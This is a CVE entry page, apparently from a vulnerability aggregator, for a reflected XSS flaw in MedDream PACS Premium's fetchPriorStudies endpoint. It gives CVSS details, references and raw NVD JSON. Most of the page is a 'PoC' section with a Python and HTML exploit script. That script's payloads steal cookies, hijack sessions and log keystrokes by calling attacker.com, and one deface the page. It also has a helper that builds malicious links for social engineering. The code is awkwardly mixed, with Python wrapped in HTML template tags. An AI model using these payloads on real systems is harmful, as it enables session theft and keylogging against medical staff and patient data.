CVE-2025-46270

Description

A reflected cross-site scripting (xss) vulnerability exists in the fetchPriorStudies functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:* - VULNERABLE

MedDream PACS Premium < 7.3.6.870

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-46270 Reflected XSS PoC -->
<!-- Target: MedDream PACS Premium 7.3.6.870 -->
<!-- Vulnerable Function: fetchPriorStudies -->

<!-- Basic PoC - Steal Cookies -->
<template id="poc-basic">
  <div>
    <h3>CVE-2025-46270 Basic XSS PoC</h3>
    <p>Malicious URL:</p>
    <code id="malicious-url"></code>
    <button onclick="generateURL()">Generate Malicious URL</button>
  </div>
</template>

<script>
function generateURL() {
  const baseURL = 'https://target-server/meddream/fetchPriorStudies';
  const xssPayload = '<img src=x onerror="fetch(`https://attacker.com/steal?cookie=${document.cookie}`)">';
  const maliciousURL = baseURL + '?studyId=' + encodeURIComponent(xssPayload);
  document.getElementById('malicious-url').textContent = maliciousURL;
}
</script>

<!-- Python PoC Script -->
<template id="poc-python">
import requests
from urllib.parse import quote

# CVE-2025-46270 PoC - Reflected XSS in MedDream PACS Premium
# Target: MedDream PACS Premium 7.3.6.870

TARGET_HOST = "https://target-meddream-server.com"
FETCH_STUDIES_ENDPOINT = f"{TARGET_HOST}/meddream/fetchPriorStudies"

# XSS Payloads
PAYLOADS = [
    # Cookie Stealer
    '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}`)">',
    # Session Hijacking
    '<script>new Image().src="https://attacker.com/log?cookie="+document.cookie;</script>',
    # Keylogger
    '<body onkeypress="fetch(`https://attacker.com/keylog?k=${event.key}`)">',
    # DOM Manipulation
    '<script>document.body.innerHTML="<h1>Pwned</h1>";</script>'
]

def test_reflected_xss(payload_index=0):
    """Test if the parameter reflects the XSS payload"""
    payload = PAYLOADS[payload_index]
    params = {
        'studyId': payload,
        'patientId': '<script>alert(document.domain)</script>'
    }
    
    print(f"[*] Testing payload {payload_index + 1}/{len(PAYLOADS)}")
    print(f"[*] Target: {FETCH_STUDIES_ENDPOINT}")
    print(f"[*] Payload: {payload}")
    
    try:
        response = requests.get(FETCH_STUDIES_ENDPOINT, params=params, timeout=10)
        
        if payload in response.text:
            print(f"[+] VULNERABLE! Payload reflected in response")
            print(f"[+] XSS can be triggered by luring user to visit:")
            malicious_url = f"{FETCH_STUDIES_ENDPOINT}?studyId={quote(payload)}"
            print(f"[+] {malicious_url}")
            return True
        else:
            print(f"[-] Not vulnerable or payload filtered")
            return False
            
    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

def generate_malicious_link(payload=None):
    """Generate a malicious link for social engineering"""
    if payload is None:
        payload = PAYLOADS[0]
    
    malicious_url = f"{FETCH_STUDIES_ENDPOINT}?studyId={quote(payload)}"
    return malicious_url

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2025-46270 Reflected XSS PoC")
    print("Target: MedDream PACS Premium 7.3.6.870")
    print("=" * 60)
    
    for i in range(len(PAYLOADS)):
        test_reflected_xss(i)
        print()
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-46270
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-46270
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-46270/
[4] VulDB https://vuldb.com/cve/CVE-2025-46270
[5] https://talosintelligence.com/vulnerability_reports/TALOS-2025-2258
[6] https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2258

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-46270", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:16:25.447", "lastModified": "2026-01-29T15:23:32.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the fetchPriorStudies functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en la funcionalidad fetchPriorStudies de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede conducir a la ejecución arbitraria de código javascript. Un atacante puede proporcionar una URL diseñada para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2258", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2258", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}